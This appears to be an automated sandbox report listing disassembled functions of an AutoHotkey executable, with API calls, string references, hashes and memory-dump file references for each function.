Function 00405260 Relevance: 6.0, APIs: 4, Instructions: 45clipboardCOMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32(00000000,74DEE0D0,?,00000000,00405259,SetClipboardData), ref: 0040527C
CloseClipboard.USER32 ref: 00405281
GlobalUnlock.KERNEL32(00000000,74DEE0D0,?,00000000,00405259,SetClipboardData), ref: 00405295
GlobalFree.KERNEL32(00000000), ref: 004052A5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Global$Unlock$ClipboardCloseFree
String ID:
API String ID: 1156981608-0
Opcode ID: 397e1e4a5e3e2d4515154c781677c611164b3b03119fa5e87c9b9fc860f5bac4
Instruction ID: 5ec439159a9543964d4c77333bfff5f4b07931456218355697841b68456fe8c9
Opcode Fuzzy Hash: 397e1e4a5e3e2d4515154c781677c611164b3b03119fa5e87c9b9fc860f5bac4
Instruction Fuzzy Hash: 3001DA75900B049FC3209F9AD984827F7F9FFA4711310C92FE59693A50D739A855CF29

Uniqueness

Uniqueness Score: -1.00%

Function 004815F0 Relevance: 6.0, APIs: 4, Instructions: 36memorythreadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 004815FA
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 0048160B
VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000004), ref: 00481629
CloseHandle.KERNEL32 ref: 00481638

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Process$AllocCloseHandleOpenThreadVirtualWindow
String ID:
API String ID: 1013503288-0
Opcode ID: f247b511ef46b28126af1a26d27ff3412baba6ab3328ecc03e9fca9b3d2e7a29
Instruction ID: 60d107b5dff1fd0e60dd254d61aab202f8a08bdd50287d55a53eb4f998f358f7
Opcode Fuzzy Hash: f247b511ef46b28126af1a26d27ff3412baba6ab3328ecc03e9fca9b3d2e7a29
Instruction Fuzzy Hash: E0F082B6A01311ABD3255B649C08F5B7B6CEF84B61F24452AFA42D7680EB70DC0197A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041E4E0 Relevance: 6.0, APIs: 4, Instructions: 20windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(00000000,0000FF81,00000003), ref: 0041E4EE
EnableMenuItem.USER32(00000000,0000FF7E,00000003), ref: 0041E4F7
EnableMenuItem.USER32(00000000,0000FF7F,00000003), ref: 0041E500
EnableMenuItem.USER32(00000000,0000FF80,00000003), ref: 0041E509

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: EnableItemMenu
String ID:
API String ID: 1841910628-0
Opcode ID: f97a54db526022fa76798f5d7bfc4ad6a1b3129deb0ab12f86dfa04ed05d8be4
Instruction ID: fca6d26e299f2ea7337f153b89e4a009eca9ba6fa7e85bfc99b5995bf2c20ebf
Opcode Fuzzy Hash: f97a54db526022fa76798f5d7bfc4ad6a1b3129deb0ab12f86dfa04ed05d8be4
Instruction Fuzzy Hash: A2D0025164E31739B43572625CC5CFF5D2DDF8BEE87400175F208159C44E455C03B1B9

Uniqueness

Uniqueness Score: -1.00%

Function 00413660 Relevance: 6.0, APIs: 4, Instructions: 17COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00413664

Part of subcall function 0049A18D: RtlFreeHeap.NTDLL(00000000,00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1A3
Part of subcall function 0049A18D: GetLastError.KERNEL32(00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1B5

_free.LIBCMT ref: 0041366D
_free.LIBCMT ref: 00413676
_free.LIBCMT ref: 00413688

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a91f6eb0df0ba6d29e1b356d990f13e0e3db7684d703cc87d03d8b15ae3669a0
Instruction ID: a4e4ae7e3a16c23ef25e1f3eb53d49daa413cf1787a4baf86af575fb1420ec27
Opcode Fuzzy Hash: a91f6eb0df0ba6d29e1b356d990f13e0e3db7684d703cc87d03d8b15ae3669a0
Instruction Fuzzy Hash: 5FD012715007006BCA34AF7AC846D5777A4EB48345F004A1EB15747541CA3CE4558BD7

Uniqueness

Uniqueness Score: -1.00%

Function 00441750 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 276windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0044DE50: GetForegroundWindow.USER32(?,?,00440955,?), ref: 0044DE7E
Part of subcall function 0044DE50: IsWindowVisible.USER32(00000000), ref: 0044DE99

SendMessageTimeoutW.USER32(00000000,?,00000000,00000000,00000002,00001388,?), ref: 004418C2

Strings

FAIL, xrefs: 004418E5, 00441900, 00441A1D, 00441A3E, 00441A5A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ForegroundMessageSendTimeoutVisible
String ID: FAIL
API String ID: 578228273-2964506365
Opcode ID: a460d76a58c960010d12709893393ba5e3be52f6f56c1514e11f71a419e7539a
Instruction ID: 956156c659f570289104875140b4bf30c8ab6279fb6c064a89c13a48d975642f
Opcode Fuzzy Hash: a460d76a58c960010d12709893393ba5e3be52f6f56c1514e11f71a419e7539a
Instruction Fuzzy Hash: F6A11671B042005BE720DF19D881F67B7A5EB84324F24856FE8459B392CB7ADCC5C799

Uniqueness

Uniqueness Score: -1.00%

Function 004033F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 00403C50: GetTickCount.KERNEL32 ref: 00403C82

GetTickCount.KERNEL32 ref: 0040347D
_wcsncpy.LIBCMT ref: 004034F3

Part of subcall function 00401060: IsClipboardFormatAvailable.USER32(0000000D), ref: 00401072
Part of subcall function 00401060: IsClipboardFormatAvailable.USER32(0000000F), ref: 0040107A

Strings

Timer, xrefs: 0040355B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AvailableClipboardCountFormatTick$_wcsncpy
String ID: Timer
API String ID: 1301760726-2870079774
Opcode ID: f7f272da6595213af45e88c846dd494fb4eacd8793c2f2922e589e4d79e26674
Instruction ID: c5d5dbeef1621366e49dddfe3045f8176f911f31e56115fb0c194f31054b6721
Opcode Fuzzy Hash: f7f272da6595213af45e88c846dd494fb4eacd8793c2f2922e589e4d79e26674
Instruction Fuzzy Hash: 6B51DF706043446BD731AF209841B67BBA9AB4130AF14097FE982677D1C779EE88C79A

Uniqueness

Uniqueness Score: -1.00%

Function 00456300 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00456409

Strings

%0.*f, xrefs: 00456403

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __swprintf
String ID: %0.*f
API String ID: 1857805200-3326200935
Opcode ID: a8465d567f7a8d181ec6aa9a53aac1d44b5860a42e3707b37d4785da9cfd563e
Instruction ID: 8b0b2b1fccc27e2f13843933ccdfe818fae9353c15688cadf16f52b42510f1dc
Opcode Fuzzy Hash: a8465d567f7a8d181ec6aa9a53aac1d44b5860a42e3707b37d4785da9cfd563e
Instruction Fuzzy Hash: E3417470604604DBC700BF1AE945259BBB4FF89316F1105AFED8993262DB388829C78F

Uniqueness

Uniqueness Score: -1.00%

Function 004126A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00412703

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

Strings

Out of memory., xrefs: 00412719
Hotstring max abbreviation length is 40., xrefs: 004126D5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID: Hotstring max abbreviation length is 40.$Out of memory.
API String ID: 501242067-4290233147
Opcode ID: 6dab1be68013e9fb7c379603de57655dd8842e2fe4532529a691aac134ec9b3f
Instruction ID: 38a4ccb9424a2e85991cb51b4b2f3c1baa4bf87bae825ad5b848b303e677f8ce
Opcode Fuzzy Hash: 6dab1be68013e9fb7c379603de57655dd8842e2fe4532529a691aac134ec9b3f
Instruction Fuzzy Hash: F041B9B06043419FD744DF28C950B9777A0FB88318F488A2FE469C73A0E778D891CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004096CB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004096D0

Part of subcall function 004054CE: __EH_prolog.LIBCMT ref: 004054D3

Strings

<property name="%e" fullname="%e" type="%s" facet="%s" classname="%s" address="%p" size="0" page="%i" pagesize="%i" children="%i" numchildren="%i">, xrefs: 00409757
<property name="%e" fullname="%e" type="%s" size="0" page="0" pagesize="%i" children="%i" numchildren="%i">, xrefs: 004097FC

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: H_prolog
String ID: <property name="%e" fullname="%e" type="%s" facet="%s" classname="%s" address="%p" size="0" page="%i" pagesize="%i" children="%i" numchildren="%i">$<property name="%e" fullname="%e" type="%s" size="0" page="0" pagesize="%i" children="%i" numchildren="%i">
API String ID: 3519838083-126030962
Opcode ID: 66d80b8982df5ad9c8c3e30b142b7142b98fc252d4eb4a2c710387da923470ce
Instruction ID: e0e16285a871e254ec9e8a2accc364f53dfe5d85df6f702ec7122443a9ec0ccd
Opcode Fuzzy Hash: 66d80b8982df5ad9c8c3e30b142b7142b98fc252d4eb4a2c710387da923470ce
Instruction Fuzzy Hash: 6141657A610601DFCB28CF15C980E6ABBF6FF88304B14856EE8569B7A2D735EC11CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040786F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,00000000,?,00000000,00000000,?,?,?,?,?,?,tw@,004079C5), ref: 00407966

Strings

%u">, xrefs: 0040793E
tw@, xrefs: 0040786F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: %u">$tw@
API String ID: 626452242-1419491401
Opcode ID: 37034768986416f79b5d892bebbb98b7221bd8b40e13ee0e1b73b724ea3251f2
Instruction ID: f2d841f6e42ff71f85d94efde8c8dfb2a10db64d73d94b5e9afccfa1aeb8d0df
Opcode Fuzzy Hash: 37034768986416f79b5d892bebbb98b7221bd8b40e13ee0e1b73b724ea3251f2
Instruction Fuzzy Hash: 4E31C872D04105AFEF10AF94C840AAE7769EB44764F548137E910B72C0D378BE41DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00484330 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,004B0CF8,00432D3F,?,004B0CF8,?,00000000,00000000), ref: 00484365
IsWindowVisible.USER32(00000000), ref: 0048437F

Part of subcall function 004844A0: GetForegroundWindow.USER32(?,?,?,?,0040F2F8,004D8348,?,?,004B0CF8,004B0CF8,00000000), ref: 004844F7
Part of subcall function 004844A0: IsWindowVisible.USER32(00000000), ref: 00484513

Strings

?-C, xrefs: 00484332, 004843DF, 004843A2, 0048434E, 004843E9, 004843EB

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ForegroundVisible
String ID: ?-C
API String ID: 4078700383-529084794
Opcode ID: 2bcaca533c319f157176ebc2ab5121f4f9eccac48239b7959bd7bd3867e65a3f
Instruction ID: e7df5b706dff28624cba392fe7f5c9c92e05ac259fbb47937f3dab680ecd774b
Opcode Fuzzy Hash: 2bcaca533c319f157176ebc2ab5121f4f9eccac48239b7959bd7bd3867e65a3f
Instruction Fuzzy Hash: F121B162B002175BCB21FE55D841A2FB7E99BD2765F04495AFC0097781E77CDC8483AA

Uniqueness

Uniqueness Score: -1.00%

Function 00411440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 0041145B

Part of subcall function 00411570: _memset.LIBCMT ref: 00411587

Part of subcall function 004118C0: __wcsicoll.LIBCMT ref: 00411928
Part of subcall function 004118C0: GetKeyboardLayout.USER32(00000000), ref: 00411943

Strings

& , xrefs: 00411468
~, xrefs: 004114B6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: KeyboardLayout__wcsicoll_memset_wcsncpy
String ID: & $~
API String ID: 3335490538-4238529414
Opcode ID: 156e6ded4cc92f8d1fd6ad7fa3b91f5d95bb7bbe1e935d71df4820a700e268ca
Instruction ID: 12d5d7b9b1af21647edd01bb51ffe43c259ed73faf075e8769fdf25e971ef760
Opcode Fuzzy Hash: 156e6ded4cc92f8d1fd6ad7fa3b91f5d95bb7bbe1e935d71df4820a700e268ca
Instruction Fuzzy Hash: 79312876A443446BDB30E746C885AFF73E9DBD9314F40481EFA5983351F27898C583AA

Uniqueness

Uniqueness Score: -1.00%

Function 00428353 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 004283A8

Strings

MCA, xrefs: 004283A3
Parameter #3 invalid., xrefs: 00427152

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcschr
String ID: MCA$Parameter #3 invalid.
API String ID: 2691759472-426094000
Opcode ID: 095c56a03202e7ae516ffee4e4c558eb86b170fb80caa82cc50e579f8528c177
Instruction ID: 66d9a94311a100ac9d1fdc1c1a02357e71ebad1a0c56e47cd88ad610425ba93c
Opcode Fuzzy Hash: 095c56a03202e7ae516ffee4e4c558eb86b170fb80caa82cc50e579f8528c177
Instruction Fuzzy Hash: DB31D3347083649FEB24CB1AE4487A3B7E1AB81314F98489FE9854B352C37DDC41C76A

Uniqueness

Uniqueness Score: -1.00%

Function 004395F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 00439675

Strings

Line#, xrefs: 00439640
--->, xrefs: 00439668

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcsncpy
String ID: Line#$--->
API String ID: 1735881322-1677359465
Opcode ID: 88c64845ce57c21b478698e4940f62b280d9cfec558ca7d7eae52d0798e1ba5c
Instruction ID: 825ff8b15a29b67e8dbd47c1069d68af603ebbec2116dc6db00848bea2936222
Opcode Fuzzy Hash: 88c64845ce57c21b478698e4940f62b280d9cfec558ca7d7eae52d0798e1ba5c
Instruction Fuzzy Hash: A22101717053015FC718DE298886BABB3E5EBC8304F18562EEA56D3390D6B4AC09879A

Uniqueness

Uniqueness Score: -1.00%

Function 0042B3B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000), ref: 0042B40A
_wcschr.LIBCMT ref: 0042B425

Strings

.ahk, xrefs: 0042B3E6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AttributesFile_wcschr
String ID: .ahk
API String ID: 3504862186-1610153849
Opcode ID: 19497a09d5214a8a8e2b3604a52d9abf62eda482ff5dd22e3492dcf1208907e8
Instruction ID: 9fbf4377431b103dc8eb4b848d934524a350b2c652ae0b9910b49c70eb1c4229
Opcode Fuzzy Hash: 19497a09d5214a8a8e2b3604a52d9abf62eda482ff5dd22e3492dcf1208907e8
Instruction Fuzzy Hash: 1E21F631A002268BC710DF28EC8196B7364EF81318F41462EE946C7272E738E966C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00476670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

InsertMenuItemW.USER32(00000000,00000000,00000001,00000030), ref: 00476722

Part of subcall function 00477020: __wcsicoll.LIBCMT ref: 00477048

GetMenuItemCount.USER32(00000000), ref: 0047670C

Strings

0, xrefs: 00476698

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ItemMenu$CountInsert__wcsicoll
String ID: 0
API String ID: 858756630-4108050209
Opcode ID: 7a11bf2055d5bf36ca9172e3f2b414399eb22f143072960c14da987f1530301c
Instruction ID: 7b4776afdb01a585c8b44e5c4e53bbae3461c34a55470b2501b8c736af6ea667
Opcode Fuzzy Hash: 7a11bf2055d5bf36ca9172e3f2b414399eb22f143072960c14da987f1530301c
Instruction Fuzzy Hash: 59216D716187019FD724CF69D404A6BBBE8EB88720F008A1EF89AC7790D774E904CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00451175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 004511BC
__itow.LIBCMT ref: 004511E8

Strings

0, xrefs: 004511F0

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ErrorLast__itow
String ID: 0
API String ID: 2292283701-4108050209
Opcode ID: 9fcbe08d7aea0c672310a0b02af8be1dafefa8270c26c951cfadd9da7ab8edda
Instruction ID: 19ef22b64f1cf6183a4932d0585aeeabbedf8743b5dfe9319148beeff767fc39
Opcode Fuzzy Hash: 9fcbe08d7aea0c672310a0b02af8be1dafefa8270c26c951cfadd9da7ab8edda
Instruction Fuzzy Hash: 97214A74E012089BDB14DF98D881BEEBBB0FB48311F10429AED15A73A1D7746845CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00483650 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004836B4

Strings

An object., xrefs: 0048366A
Invalid value., xrefs: 0048366F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

